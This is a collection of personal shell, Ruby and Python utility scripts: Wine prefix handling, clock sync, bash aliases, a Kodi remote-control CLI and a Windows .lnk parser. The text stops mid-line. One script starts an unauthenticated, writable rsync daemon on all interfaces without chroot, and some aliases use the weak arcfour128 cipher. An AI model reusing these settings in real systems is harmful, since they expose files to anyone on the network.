create a new prefix unless prefix_path.exists? if prompt("The prefix doesn't exist yet... create it?") == "n" puts "Aborting..." exit else prefix_path.mkdir end end cmd.unshift "wine" unless cmd.first.in? %w[winetricks winecfg] arch = opts["64"] ? "win64" : "win32" env = { "WINEPREFIX" => prefix_path.to_s, "WINEARCH" => arch } pp({ prefix: prefix, opts: opts.to_h, # settings: settings, arch: arch, env: env, bin: bin, cmd: cmd, }) settings["bin: #{bin.path}"] = prefix settings["prefix: #{prefix}"] = bin.path save_settings(settings) system(env, *cmd) # if [ "$1" == "" ]; then # echo "Usage: wineprefix <prefix name> [command/.exe]" # echo # echo "Prefixes are created in '$BASE'" # echo "(If only a prefix name is passed, it runs 'winecfg' on that prefix)" # exit 1 # fi # if [ ! -d "$BASE" ]; then # mkdir -p "$BASE" # fi # if [ "$1" == "" ]; then # find "$BASE" -maxdepth 1 # exit # fi # PREFIX="$BASE/$1" # shift # echo "Prefix: $PREFIX" # if [ ! -d $PREFIX ]; then # echo "Creating new prefix..." # mkdir "$PREFIX" # fi # export WINEPREFIX="$PREFIX" # if [ "$1" == "winecfg" ]; then # shift # winecfg "$@" # elif [ "$1" == "winetricks" ]; then # shift # winetricks "$@" # else # wine "$@" # fi <file_sep>#!/bin/bash #SERVER=time.nist.gov #SERVER=ca.pool.ntp.org SERVER=ntp.torix.ca echo Synching clock ... sudoifnotroot ntpdate $SERVER echo Setting hardware clock... sudoifnotroot hwclock --systohc --utc #/etc/rc0.d/K25hwclock.sh reload <file_sep>#!/usr/bin/env ruby require 'epitools' if ARGV.any? stuff = ARGV else stuff = STDIN end stuff.each do |line| puts line.urldecode end <file_sep>#!/bin/bash if [ "$TMPDIR" != "" ] && [ -d $TMPDIR ]; then # all is well! true elif [ -d /tmp ]; then TMPDIR=/tmp else echo "Error: couldn't find '/tmp', and TMPDIR isn't set; please fix one of these issues and try again!" exit 1 fi CONF=$TMPDIR/rsyncd.conf echo "---------($CONF)---------" tee $CONF <<- EOF address=0.0.0.0 port=1873 [root] path = $PWD use chroot = false read only = false EOF echo "---------($CONF)---------" echo echo "* starting rsync daemon..." echo rsync -vv --daemon --no-detach --config=$CONF --log-file=/proc/self/fd/2 <file_sep>import multiprocessing SetOption('num_jobs', multiprocessing.cpu_count()) print "running with -j", GetOption('num_jobs') <file_sep>#!/bin/bash apt-get -y --force-yes install --reinstall $* <file_sep>#!/usr/bin/env python2 # # Stub script to run jsbeautifier # from jsbeautifier import main main()<file_sep># # magic cross-platform "open" command # # if [ "$OSTYPE" == "cygwin" ]; then # alias open='cygstart' # elif [ -f /usr/bin/xdg-open ]; then # alias open='xdg-open "$@" 2>/dev/null' # elif [ -f /usr/bin/exo-open ]; then # alias open='exo-open "$@" 2>/dev/null' # elif [ -f /usr/bin/gnome-open ]; then # alias open='gnome-open "$@" 2>/dev/null' # fi # alias open='xdg-open "$@" 2>/dev/null' alias reload="exec bash" alias aaa='bl 5' alias aaaa=aaa alias aaaaa=aaa alias aa=aaa function we_have() { which "$@" > /dev/null 2>&1 } function alias_all_as_sudo() { for var in "$@" do alias $var="sudoifnotroot $var" done } ## if CLICOLOR doesn't work, this can hard-wire color-ls if [ "$TERM" != "dumb" ]; then #export LS_OPTIONS='--color=auto' if we_have dircolors then eval `dircolors -b` fi alias ls="ls --color=auto" fi ## aliases alias ll='l' alias la='l -a' alias lt='d -lt' alias lh='ls -lh' alias lts='d -ls' alias da='d -a' if we_have exa then alias ls='exa' alias l='exa -ag --long --header' function t() { exa --long --header --tree --color=always --ignore-glob=__pycache__ "$@" | less -SRXFi } else alias l='ls -al' function t() { tree -Ca $* | less -SRXFi } fi # function fd() { # query="$@" # $(which fd) --color=always "$query" | less -RS "+/$query" #} #if which fd > /dev/null; then # alias f='fd -IH' #fi # cd alias up='cd ..' alias back='cd "$OLDPWD"' alias cd..='cd ..' alias ..='cd ..' alias ...='cd ../..' alias ....='cd ../../..' alias .....='cd ../../../..' alias ......='cd ../../../../..' alias .......='cd ../../../../../..' # alias +='pushd .' # alias -- -='popd' mkcd() { if [ ! -d "$@" ]; then mkdir -p "$@" fi cd "$@" } pushpath() { if [ "$1" == "" ]; then dir="$PWD" else dir="`readlink -m "$1"`" fi export PATH="$dir":$PATH echo "'$dir' added to path." } # filesystem alias mv="mv -v" alias mv-backup='mv --backup=numbered' alias cp="cp -v" alias rm='trsh' alias r='ren' alias rehash='hash -r' alias cx='chmod +x' alias c-x='chmod -x' alias cls='clear' alias wh='which' # text if ! we_have nano && we_have pico; then alias nano="pico -w" else alias nano="nano -w" fi alias n=nano alias s.='s .' alias c.='c .' alias egrep='egrep --color=auto' alias fgrep='fgrep --color=auto' alias grep='grep --color=auto' alias rcat='tac' rgrep() { expression=$1 shift rcat "$@" | grep -Ei $expression } pager='less -RSFXi' if we_have rg then rg() { `which rg` --pretty "$@" | $pager } #alias ag="rg" fi if we_have ag then alias ag="ag --smart-case --pager '$pager'" else alias ag="ack --pager '$pager'" fi alias less='less -X -F -i' alias diff='diff -u --color' alias vimless='vim -u ~/.vimrc.less -' alias vless=vimless if we_have scc; then alias cloc='scc' fi # media alias o="open" alias o.="open ." alias a="audacious" alias ae="a -e" alias a2="a" alias ch="chromium" alias qute="qutebrowser" alias mixer="pulsemixer" alias yd='youtube-dl --xattrs --no-mtime' if we_have ueberzug; then alias ytf='ytfzf -t --detach' else alias ytf='ytfzf --detach' fi # net alias_all_as_sudo iptables netctl ufw dhcpcd nethogs alias ssh='ssh -2' alias scpfast='scp -c arcfour128' alias sshfast='ssh -c arcfour128' alias mosh='msh' alias whois='whois -H' alias geoip='geoiplookup' alias geoip6='geoiplookup6' alias iptraf='sudoifnotroot iptraf-ng' alias ip6='ip -6' # disks alias_all_as_sudo fdisk blkid alias fatrace="sudoifnotroot fatrace | grep -v xfce4-terminal" alias md='mdadm' alias df='df -h' alias df.='df .' alias screen='screen -U' alias e.='e .' best_of() { best=$( which $* 2> /dev/null | head -n 1 ) if [ "$best" != "" ]; then basename $best fi } alias best_dd="$(best_of dd_rescue dcfldd ddrescue dd)" # find the best dd dd() { if (( $# == 0 )); then best_dd --help |& less else best_dd "$@" fi } # if we_have dd_rescue; then # alias dd='dd_rescue' # elif we_have dcfldd; then # alias dd='dcfldd' # elif we_have ddrescue; then # alias dd='ddrescue' # fi alias um='unmount' alias lsmnt='findmnt' alias lsblk='lsblk -o MODEL,SIZE,TYPE,NAME,MOUNTPOINT,LABEL,FSTYPE' alias disks='lsblk' # system alias_all_as_sudo sysdig swapped perf alias dmesg='dmesg -T --color=always|less -S -R +\>' alias dmesg-tail='\dmesg -T --color -w' alias dstat-wide='dstat -tcyifd' #alias off='sudoifnotroot shutdown -h now || sudoifnotroot systemctl poweroff' #alias reboot='sudoifnotroot shutdown -r now || sudoifnotroot systemctl reboot' #alias reboot='sudoifnotroot systemctl reboot' alias sus='ssu' # systemd # alias_all_as_sudo systemctl journalctl alias jc='journalctl' alias jt='journalctl -f' alias sys='systemctl' alias j='journalctl' alias iu='i --user' alias suspend='systemctl suspend -i' # misc alias dict='dictless' alias wh="$(which w 2> /dev/null)" alias w='wict' alias chrome='google-chrome' alias dmenu="dmenu -l 50" alias resett="tput reset" alias xmem='xrestop' alias flash='crutziplayer' alias rdp='xfreerdp' alias gource='gource --user-image-dir ~/.cache/gravatars' alias psx='pcsxr' alias detach='bg; disown'; alias det=detach alias dpkg='sudoifnotroot dpkg' alias record-desktop="simplescreenrecorder" alias b='chromium' alias columns='cols' # archives alias ax="aunpack" alias ac="apack" alias al="als" # git alias gs="git status" alias gd="git diff" alias ga="git add" alias glu="gl -u" alias gch="git checkout" # alias g[[="git stash" # alias g]]="git stash pop" # alias g[]="git stash list; git stash show" alias g+="git add" alias gr="git remote -v" alias gf="git fetch --all -v --prune" alias fetch="gf" alias whose-line-is-it-anyway="git blame" # functions functions() { declare -f | less } # alias gc="git clone" gc() { # Cloning into 'reponame'... if $(which gc) "$@"; then cd "$(\ls -tr | tail -n1)" else echo "clone failed" fi } aur() { if [ ! -d ~/aur ]; then mkdir ~/aur; fi cd ~/aur if [ -d "$@" ]; then echo "* $@ already downloaded. updating..." cd "$@" git pull else aur-get "$@" if [ -d "$@" ]; then cd "$@" c PKGBUILD else echo "something went wrong?" fi fi } kill-bg-jobs() { jobs=`jobs -ps` if [ "$jobs" == "" ]; then echo "Couldn't find any running background jobs" else echo "killing jobs: $jobs" kill -9 $jobs fi } alias gcs="gc --depth=1" # scripting languagey things alias be="bundle exec" alias rock='luarocks' alias gi='gem install' alias rb='ruby' alias py=python alias py2=python2 alias py3=python3 alias pip='python -m pip' alias pip2='python2 -m pip' alias pip3='python3 -m pip' alias pi='pip install --user' alias pi2='pip2 install --user' alias pi3='pip3 install --user' alias piu='pip uninstall' alias ipy=ipython alias ipy3=ipython3 alias ipy2=ipython2 alias ni='npm install' gem-cd() { local gem_dir if gem_dir="`gem-dir $@`"; then cd "$gem_dir" fi } pip-cd() { for dir in `\ls -1rd ~/.local/lib/python*/site-packages/` `\ls -1rd /usr/lib/python*/site-packages/`; do if [ -d $dir/$1 ]; then cd $dir/$1 break fi done } alias pycd=pip-cd # # 64/32bit specific aliases # case `uname -m` in # x86_64) # ;; # *) # ;; # esac # Things with literal arguments! #alias math='noglob math' #alias gfv='noglob gfv' # upm alias u=upm alias uu='upm update' alias up='upm upgrade' alias ui='upm install' alias ur='upm remove' alias uf='upm files' alias ul='upm list' alias us='upm search' # arch alias pacman='sudoifnotroot /usr/bin/pacman' # alias pacs='\pacman -Ss' # search for package alias pacf='\pacman -Ql|grep' # which package contains this file? alias pacq='\pacman -Q|grep' # find a package alias pacg='\pacman -Qg' # show groups alias pacu='pacman -Syu' # update packages alias pacd='pacman -Syuw' # only download updates (no install) alias pacr='pacman -Rs --' # remove package (and unneeded dependencies) alias pacrf='pacman -Rc' # remove package (and force removal of dependencies) alias pacpurge='pacman -Rns' # purge a package and all config files alias pacuproot='pacman -Rsc' # remove package, dependencies, and dependants alias abs='sudoifnotroot abs' # alias pkgfile='sudoifnotroot pkgfile -r' if we_have yaourt; then alias y='yaourt' else alias y='aurs' fi # npm # alias ni="sudoifnotroot npm install -g" # alias nl="npm list -g --color=always |& less -S" # # Usage: # faketty <command> <args> # # (Almost works... There's just a newline issue) # #function faketty { script -qfc "$(printf "%q " "$@")"; } shiftpath() { [ -d "$1" ] && PATH="${PATH}${PATH:+:}${1}"; } alias psh=pwsh <file_sep>#!/usr/bin/env bash ## Author: Nawar ## License: GPL (c) 2014 ## ## Note: ## This script used the youtube code of: ## YouTube XBMC Script 1.0 ## (c) 2013, <NAME> - http://tom.laermans.net ## This script is released into the public domain. ## ## Volume control added by elpraga ## using the command found at http://forum.kodi.tv/showthread.php?tid=176795 ## Library Maintenance and skipping forward/back added by uriel1998 ## using the command found at http://kodi.wiki/view/HOW-TO:Remotely_update_library ## .kodirc added by uriel1998 function xbmc_req { output=$(curl -s -i -X POST --header "Content-Type: application/json" -d "$1" http://$KODI_USER:$KODI_PASS@$KODI_HOST:$KODI_PORT/jsonrpc) if [[ $2 = true ]]; then echo $output | jq -C '.' fi } function parse_json { key=$1 awk -F"[,:}]" '{for(i=1;i<=NF;i++){if($i~/'$key'\042/){print $(i+1)}}}' | tr -d '"' } function play_youtube { REGEX="^.*((youtu.be\/)|(v\/)|(\/u\/\w\/)|(embed\/)|(watch\?))\??v?=?([^#\&\?]*).*" ID=$1 if [ "$ID" == "" ]; then echo "Syntax $0:$1 <id|url>" exit fi if [[ $ID =~ $REGEX ]]; then ID=${BASH_REMATCH[7]} fi echo -n "Opening video id $ID on $KODI_HOST ..." # clear the list xbmc_req '{"jsonrpc": "2.0", "method": "Playlist.Clear", "params":{"playlistid":1}, "id": 1}'; # add the video to the list xbmc_req '{"jsonrpc": "2.0", "method": "Playlist.Add", "params":{"playlistid":1, "item" :{ "file" : "plugin://plugin.video.youtube/?action=play_video&videoid='$ID'"}}, "id" : 1}'; # open the video xbmc_req '{"jsonrpc": "2.0", "method": "Player.Open", "params":{"item":{"playlistid":1, "position" : 0}}, "id": 1}'; echo " done." } function play_playlist { xbmc_req '{"jsonrpc": "2.0", "method": "Player.Open", "params":{"item":{"playlistid":1, "position" : 0}}, "id": 1}'; } function list_playlist { xbmc_req '{"jsonrpc": "2.0", "method": "Playlist.Getitems", "params":{"playlistid":1, "properties": ["title", "duration", "file"]}, "id": 1}' true } function queue_yt_videos { REGEX="^.*((youtu.be\/)|(v\/)|(\/u\/\w\/)|(embed\/)|(watch\?))\??v?=?([^#\&\?]*).*" ID=$1 if [ "$ID" == "" ]; then echo "Syntax $0:$1 <id|url>" exit fi if [[ $ID =~ $REGEX ]]; then ID=${BASH_REMATCH[7]} fi output=`xbmc_req '{"jsonrpc": "2.0", "method": "Playlist.GetItems", "params":{"playlistid":1}, "id": 99}' true` numberitems=`echo $output | parse_json "total"` echo -n "Video added to the current playlist $ID on $KODI_HOST which has ($numberitems) items..." # add the video to the list xbmc_req '{"jsonrpc": "2.0", "method": "Playlist.Add", "params":{"playlistid":1, "item" :{ "file" : "plugin://plugin.video.youtube/?action=play_video&videoid='$ID'"}}, "id" : 1}'; echo " done." } function play_pause { # Get Active players first output=`xbmc_req '{"jsonrpc": "2.0", "method": "Player.GetActivePlayers", "id": 99}' true` player_id=`echo $output | parse_json "playerid"` echo "Pausing/Playing the player with ID => $player_id" xbmc_req '{"jsonrpc": "2.0", "method": "Player.PlayPause", "params": { "playerid": '$player_id' }, "id": 1}' } function stop { # Get Active players first output=`xbmc_req '{"jsonrpc": "2.0", "method": "Player.GetActivePlayers", "id": 99}' true` player_id=`echo $output | parse_json "playerid"` echo "Stopping the player with ID => $player_id" xbmc_req '{"jsonrpc": "2.0", "method": "Player.Stop", "params": { "playerid": '$player_id' }, "id": 1}' } function skip_forward { # Get Active players first output=`xbmc_req '{"jsonrpc": "2.0", "method": "Player.GetActivePlayers", "id": 99}' true` player_id=`echo $output | parse_json "playerid"` echo "Skipping forward the player with ID => $player_id" xbmc_req '{"jsonrpc": "2.0", "method": "Player.Seek", "params": { "playerid": '$player_id', "value" : "smallforward" }, "id": 1}' } function skip_backward { # Get Active players first output=`xbmc_req '{"jsonrpc": "2.0", "method": "Player.GetActivePlayers", "id": 99}' true` player_id=`echo $output | parse_json "playerid"` echo "Skipping back with the player with ID => $player_id" xbmc_req '{"jsonrpc": "2.0", "method": "Player.Seek", "params": { "playerid": '$player_id', "value" : "smallbackward" }, "id": 1}' } function send_text { echo "Sending the text" xbmc_req '{"jsonrpc": "2.0", "method": "Input.SendText", "params": { "text": "'$1'" }}' } function update_libraries { echo "Updating the video libraries" xbmc_req '{"jsonrpc": "2.0", "method": "VideoLibrary.Scan", "id": "mybash"}' echo "Updating the audio libraries" xbmc_req '{"jsonrpc": "2.0", "method": "AudioLibrary.Scan", "id": "mybash"}' } function clean_libraries { echo "Cleaning the libraries" xbmc_req '{"jsonrpc": "2.0", "method": "AudioLibrary.Clean", "id": "mybash"}' xbmc_req '{"jsonrpc": "2.0", "method": "VideoLibrary.Clean", "id": "mybash"}' } function press_key { ACTION='' CLR="\e[K" case "$1" in A) ACTION='Up' echo -ne "\rUp$CLR"; ;; B) ACTION='Down' echo -ne "\rDown$CLR"; ;; C) ACTION='Right' echo -ne "\rRight$CLR"; ;; D) ACTION='Left' echo -ne "\rLeft$CLR"; ;; c) ACTION='ContextMenu' echo -ne "\rContext Menu$CLR"; ;; i) ACTION='Info' echo -ne "\rInformation$CLR"; ;; $'\177') ACTION='Back' echo -ne "\rBack$CLR"; ;; "") ACTION='Select' echo -ne "\rSelect$CLR"; ;; esac if [[ "$ACTION" != " " ]] && [[ $LOCK == false ]] then LOCK=true xbmc_req '{"jsonrpc": "2.0", "method": "Input.'$ACTION'"}' LOCK=false fi } function handle_keys { echo "Interactive navigation key: "; while : do read -s -n1 key if [[ $key = q ]] then break elif [[ $key != ' ' ]] then press_key "$key" fi done } function volume_up { echo "Incrementing volume" xbmc_req '{ "jsonrpc": "2.0", "method": "Application.SetVolume", "params": { "volume": "increment" }, "id": 1 }' } function volume_down { echo "Decrementing volume on" xbmc_req '{ "jsonrpc": "2.0", "method": "Application.SetVolume", "params": { "volume": "decrement" }, "id": 1 }' } function handle_volume { echo "Press up/down for volume adjustment (q to quit): "; while : do read -s -n1 key if [[ $key = q ]];then printf "\n" break elif [[ $key == 'A' ]]; then printf "\r+ Volume increasing." xbmc_req '{ "jsonrpc": "2.0", "method": "Application.SetVolume", "params": { "volume": "increment" }, "id": 1 }' elif [[ $key == 'B' ]];then printf "\r- Volume decreasing." xbmc_req '{ "jsonrpc": "2.0", "method": "Application.SetVolume", "params": { "volume": "decrement" }, "id": 1 }' fi done } function fullscreen_toggle { # Get Active players first output=`xbmc_req '{"jsonrpc": "2.0", "method": "Player.GetActivePlayers", "id": 99}' true` player_id=`echo $output | parse_json "playerid"` echo "Toggle fullscreen on the player with ID => $player_id" xbmc_req '{ "jsonrpc": "2.0", "method": "GUI.SetFullscreen", "params": { "fullscreen": "toggle" }, "id": 1 }' } function show_help { echo -e "\n kodi-cli -[p|i|h|s|y youtube URL/ID|t 'text to send']\n\n" \ "-p Play/Pause the current played video\n" \ "-s Stop the current played video\n" \ "-j Skip forward in the current played video\n" \ "-k Skip backward in the current played video\n" \ "-y play youtube video. Use either URL/ID (of video)\n" \ "-q queue youtube video to the current list. Use either URL/ID (of video). Use instead of -y.\n" \ "-o play youtube video directly on Kodi. Use the name of video.\n" \ "-v interactive volume control\n" \ "-i interactive navigation mode. Accept keyboard keys of Up, Down, Left, Right, Back,\n" \ " Context menu and information\n" \ "-l Play default playlist (most useful after using -q a few times)\n" \ "-t title of playlist entry\n" \ "-u Increment the volume on Kodi\n" \ "-d Decrement the volume on Kodi\n" \ "-f toggle fullscreen\n" \ "-m Update libraries\n" \ "-n clean libraries\n" \ "-h showing this help message\n" } ## main ## check Bash version compatibility if ((BASH_VERSINFO[0] < 4)); then echo -e "Error: $0 requires Bash version 4+" exit 1 fi ## check if we have any argument if [ $# -eq 0 ];then echo -e "\n failure: make sure there is at least one argument" show_help exit fi ## ---- Configuration --- ## ## Configure your KODI RPC details here KODI_HOST= KODI_PORT= KODI_USER= KODI_PASS= LOCK=false # If the script does not have configuration hardcoded, the script will # search for it in $HOME/.kodirc if [ -z "$KODI_HOST" ]; then if [ -f "$HOME/.kodirc" ];then readarray -t line < "$HOME/.kodirc" KODI_HOST=${line[0]} KODI_PORT=${line[1]} KODI_USER=${line[2]} KODI_PASS=${line[3]} fi fi # Ensure some configuration is loaded, or exit. if [ -z "$KODI_HOST" ]; then echo -e "\n failure: Some Kodi configurations are not loaded. Please make sure they are." show_help exit fi ## Process command line arguments while getopts "yqopstiudfhvmnjkl" opt; do case $opt in l) #play default playlist # play_playlist list_playlist ;; y) #play youtube video play_youtube $2 ;; q) #queue youtube video queue_yt_videos $2 ;; o) #play youtube video directly #this depends on using mps-youtube play_youtube `mpsyt /$2, i 1, q | grep -i link | awk -F 'v=' '{ print $2 }'` ;; p) play_pause ;; s) stop ;; t) # send_text $2 # handle_keys ;; i) handle_keys ;; u) volume_up ;; d) volume_down ;; f) fullscreen_toggle ;; h) show_help ;; m) update_libraries ;; n) clean_libraries ;; v) handle_volume ;; j) skip_forward ;; k) skip_backward ;; esac done <file_sep>#!/usr/bin/python2 # This is a quick and dirty port of lnk-parse-1.0.pl found here: # https://code.google.com/p/revealertoolkit/source/browse/trunk/tools/lnk-parse-1.0.pl # Windows LNK file parser - <NAME> - <EMAIL> # Based on the contents of the document: # http://www.i2s-lab.com/Papers/The_Windows_Shortcut_File_Format.pdf # v1.0 # import sys, struct, datetime, binascii # HASH of flag attributes flag_hash = [["",""] for _ in xrange(7)] flag_hash[0][1] = "HAS SHELLIDLIST" flag_hash[0][0] = "NO SHELLIDLIST" flag_hash[1][1] = "POINTS TO FILE/DIR" flag_hash[1][0] = "NOT POINT TO FILE/DIR" flag_hash[2][1] = "HAS DESCRIPTION" flag_hash[2][0] = "NO DESCRIPTION" flag_hash[3][1] = "HAS RELATIVE PATH STRING" flag_hash[3][0] = "NO RELATIVE PATH STRING" flag_hash[4][1] = "HAS WORKING DIRECTORY" flag_hash[4][0] = "NO WORKING DIRECTORY" flag_hash[5][1] = "HAS CMD LINE ARGS" flag_hash[5][0] = "NO CMD LINE ARGS" flag_hash[6][1] = "HAS CUSTOM ICON" flag_hash[6][0] = "NO CUSTOM ICON" # HASH of FileAttributes file_hash = [["",""] for _ in xrange(13)] file_hash[0][1] = "READ ONLY TARGET" file_hash[1][1] = "HIDDEN TARGET" file_hash[2][1] = "SYSTEM FILE TARGET" file_hash[3][1] = "VOLUME LABEL TARGET (not possible)" file_hash[4][1] = "DIRECTORY TARGET" file_hash[5][1] = "ARCHIVE" file_hash[6][1] = "NTFS EFS" file_hash[7][1] = "NORMAL TARGET" file_hash[8][1] = "TEMP. TARGET" file_hash[9][1] = "SPARSE TARGET" file_hash[10][1] = "REPARSE POINT DATA TARGET" file_hash[11][1] = "COMPRESSED TARGET" file_hash[12][1] = "TARGET OFFLINE" #Hash of ShowWnd values show_wnd_hash = [[""] for _ in xrange(11)] show_wnd_hash[0] = "SW_HIDE" show_wnd_hash[1] = "SW_NORMAL" show_wnd_hash[2] = "SW_SHOWMINIMIZED" show_wnd_hash[3] = "SW_SHOWMAXIMIZED" show_wnd_hash[4] = "SW_SHOWNOACTIVE" show_wnd_hash[5] = "SW_SHOW" show_wnd_hash[6] = "SW_MINIMIZE" show_wnd_hash[7] = "SW_SHOWMINNOACTIVE" show_wnd_hash[8] = "SW_SHOWNA" show_wnd_hash[9] = "SW_RESTORE" show_wnd_hash[10] = "SW_SHOWDEFAULT" # Hash for Volume types vol_type_hash = [[""] for _ in xrange(7)] vol_type_hash[0] = "Unknown" vol_type_hash[1] = "No root directory" vol_type_hash[2] = "Removable (Floppy,Zip,USB,etc.)" vol_type_hash[3] = "Fixed (Hard Disk)" vol_type_hash[4] = "Remote (Network Drive)" vol_type_hash[5] = "CD-ROM" vol_type_hash[6] = "RAM Drive" def reverse_hex(HEXDATE): hexVals = [HEXDATE[i:i + 2] for i in xrange(0, 16, 2)] reversedHexVals = hexVals[::-1] return ''.join(reversedHexVals) def assert_lnk_signature(f): f.seek(0) sig = f.read(4) guid = f.read(16) if sig != 'L\x00\x00\x00': raise Exception("This is not a .lnk file.") if guid != '\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00F': raise Exception("Cannot read this kind of .lnk file.") # read COUNT bytes at LOC and unpack into binary def read_unpack_bin(f, loc, count): # jump to the specified location f.seek(loc) raw = f.read(count) result = "" for b in raw: result += ("{0:08b}".format(ord(b)))[::-1] return result # read COUNT bytes at LOC and unpack into ascii def read_unpack_ascii(f,loc,count): # jump to the specified location f.seek(loc) # should interpret as ascii automagically return f.read(count) # read COUNT bytes at LOC def read_unpack(f, loc, count): # jump to the specified location f.seek(loc) raw = f.read(count) result = "" for b in raw: result += binascii.hexlify(b) return result # Read a null terminated string from the specified location. def read_null_term(f, loc): # jump to the start position f.seek(loc) result = "" b = f.read(1) while b != "\x00": result += str(b) b = f.read(1) return result # adapted from pylink.py def ms_time_to_unix(windows_time): unix_time = windows_time / 10000000.0 - 11644473600 return datetime.datetime.fromtimestamp(unix_time) def add_info(f,loc): tmp_len_hex = reverse_hex(read_unpack(f,loc,1)) tmp_len = 2 * int(tmp_len_hex, 16) loc += 1 if (tmp_len != 0): tmp_string = read_unpack_ascii(f, loc, tmp_len) now_loc = f.tell() return (tmp_string, now_loc) else: now_loc = f.tell() return (None, now_loc) def parse_lnk(filename): # read the file in binary module f = open(filename, 'rb') try: assert_lnk_signature(f) except Exception as e: return "[!] Exception: "+str(e) output = "Lnk File: " + filename + "\n" # get the flag bits flags = read_unpack_bin(f,20,1) flag_desc = list() # flags are only the first 7 bits for cnt in xrange(len(flags)-1): bit = int(flags[cnt]) # grab the description for this bit flag_desc.append(flag_hash[cnt][bit]) output += "Link Flags: " + " | ".join(flag_desc) + "\n" # File Attributes 4bytes@18h = 24d # Only a non-zero if "Flag bit 1" above is set to 1 if flags[1]=="1": file_attrib = read_unpack_bin(f,24,2) output += "File Attributes: "+file_hash[file_attrib.index("1")][1] + "\n" # Create time 8bytes @ 1ch = 28 create_time = reverse_hex(read_unpack(f,28,8)) output += "Create Time: "+str(ms_time_to_unix(int(create_time, 16))) + "\n" # Access time 8 bytes@ 0x24 = 36D access_time = reverse_hex(read_unpack(f,36,8)) output += "Access Time: "+str(ms_time_to_unix(int(access_time, 16))) + "\n" # Modified Time8b @ 0x2C = 44D modified_time = reverse_hex(read_unpack(f,44,8)) output += "Modified Time: "+str(ms_time_to_unix(int(modified_time, 16))) + "\n" # Target File length starts @ 34h = 52d length_hex = reverse_hex(read_unpack(f,52,4)) length = int(length_hex, 16) output += "Target length: "+str(length) + "\n" # Icon File info starts @ 38h = 56d icon_index_hex = reverse_hex(read_unpack(f,56,4)) icon_index = int(icon_index_hex, 16) output += "Icon Index: "+str(icon_index) + "\n" # show windows starts @3Ch = 60d show_wnd_hex = reverse_hex(read_unpack(f,60,1)) show_wnd = int(show_wnd_hex, 16) output += "ShowWnd: "+str(show_wnd_hash[show_wnd]) + "\n" # hot key starts @40h = 64d hotkey_hex = reverse_hex(read_unpack(f,64,4)) hotkey = int(hotkey_hex, 16) output += "HotKey: "+str(hotkey) + "\n" #------------------------------------------------------------------------ # End of Flag parsing #------------------------------------------------------------------------ # get the number of items items_hex = reverse_hex(read_unpack(f,76,2)) items = int(items_hex, 16) list_end = 78 + items struct_start = list_end first_off_off = struct_start + 4 vol_flags_off = struct_start + 8 local_vol_off = struct_start + 12 base_path_off = struct_start + 16 net_vol_off = struct_start + 20 rem_path_off = struct_start + 24 # Structure length struct_len_hex = reverse_hex(read_unpack(f,struct_start,4)) struct_len = int(struct_len_hex, 16) struct_end = struct_start + struct_len # First offset after struct - Should be 1C under normal circumstances first_off = read_unpack(f,first_off_off,1) # File location flags vol_flags = read_unpack_bin(f,vol_flags_off,1) # Local volume table # Random garbage if bit0 is clear in volume flags if vol_flags[:2] == "10": output += "Target is on local volume\n" # This is the offset of the local volume table within the # File Info Location Structure loc_vol_tab_off_hex = reverse_hex(read_unpack(f,local_vol_off,4)) loc_vol_tab_off = int(loc_vol_tab_off_hex, 16) # This is the asolute start location of the local volume table loc_vol_tab_start = loc_vol_tab_off + struct_start # This is the length of the local volume table local_vol_len_hex = reverse_hex(read_unpack(f,loc_vol_tab_off+struct_start,4)) local_vol_len = int(local_vol_len_hex, 16) # We now have enough info to # Calculate the end of the local volume table. local_vol_tab_end = loc_vol_tab_start + local_vol_len # This is the volume type curr_tab_offset = loc_vol_tab_off + struct_start + 4 vol_type_hex = reverse_hex(read_unpack(f,curr_tab_offset,4)) vol_type = int(vol_type_hex, 16) output += "Volume Type: "+str(vol_type_hash[vol_type]) + "\n" # Volume Serial Number curr_tab_offset = loc_vol_tab_off + struct_start + 8 vol_serial = reverse_hex(read_unpack(f,curr_tab_offset,4)) output += "Volume Serial: "+str(vol_serial) + "\n" # Get the location, and length of the volume label vol_label_loc = loc_vol_tab_off + struct_start + 16 vol_label_len = local_vol_tab_end - vol_label_loc vol_label = read_unpack_ascii(f,vol_label_loc,vol_label_len); output += "Vol Label: "+str(vol_label) + "\n" #------------------------------------------------------------------------ # This is the offset of the base path info within the # File Info structure #------------------------------------------------------------------------ base_path_off_hex = reverse_hex(read_unpack(f,base_path_off,4)) base_path_off = struct_start + int(base_path_off_hex, 16) # Read base path data upto NULL term base_path = read_null_term(f,base_path_off) output += "Base Path: "+str(base_path) + "\n" # Network Volume Table elif vol_flags[:2] == "01": # TODO: test this section! output += "Target is on Network share\n" net_vol_off_hex = reverse_hex(read_unpack(f,net_vol_off,4)) net_vol_off = struct_start + int(net_vol_off_hex, 16) net_vol_len_hex = reverse_hex(read_unpack(f,net_vol_off,4)) net_vol_len = struct_start + int(net_vol_len_hex, 16) # Network Share Name net_share_name_off = net_vol_off + 8 net_share_name_loc_hex = reverse_hex(read_unpack(f,net_share_name_off,4)) net_share_name_loc = int(net_share_name_loc_hex, 16) if(net_share_name_loc != 20): output += " [!] Error: NSN ofset should always be 14h\n" sys.exit(1) net_share_name_loc = net_vol_off + net_share_name_loc net_share_name = read_null_term(f,net_share_name_loc) output += "Network Share Name: "+str(net_share_name) + "\n" # Mapped Network Drive Info net_share_mdrive = net_vol_off + 12 net_share_mdrive_hex = reverse_hex(read_unpack(f,net_share_mdrive,4)) net_share_mdrive = int(net_share_mdrive_hex, 16) if(net_share_mdrive != 0): net_share_mdrive = net_vol_off + net_share_mdrive net_share_mdrive = read_null_term(f,net_share_mdrive) output += "Mapped Drive: "+str(net_share_mdrive) + "\n" else: output += " [!] Error: unknown volume flags\n" sys.exit(1) # Remaining path rem_path_off_hex = reverse_hex(read_unpack(f,rem_path_off,4)) rem_path_off = struct_start +int(rem_path_off_hex, 16) rem_data = read_null_term(f,rem_path_off); output += "(App Path:) Remaining Path: "+str(rem_data) + "\n" #------------------------------------------------------------------------ # End of FileInfo Structure #------------------------------------------------------------------------ # The next starting location is the end of the structure next_loc = struct_end addnl_text = "" if flags[2]=="1": addnl_text,next_loc = add_info(f,next_loc) output += "Description: "+str(addnl_text) + "\n" next_loc = next_loc + 1 if flags[3]=="1": addnl_text,next_loc = add_info(f,next_loc) output += "Relative Path: "+str(addnl_text) + "\n" next_loc = next_loc + 1 if flags[4]=="1": addnl_text,next_loc = add_info(f,next_loc) output += "Working Dir: "+str(addnl_text) + "\n" next_loc = next_loc + 1 if flags[5]=="1": addnl_text,next_loc = add_info(f,next_loc) output += "Command Line: "+str(addnl_text) + "\n" next_loc = next_loc + 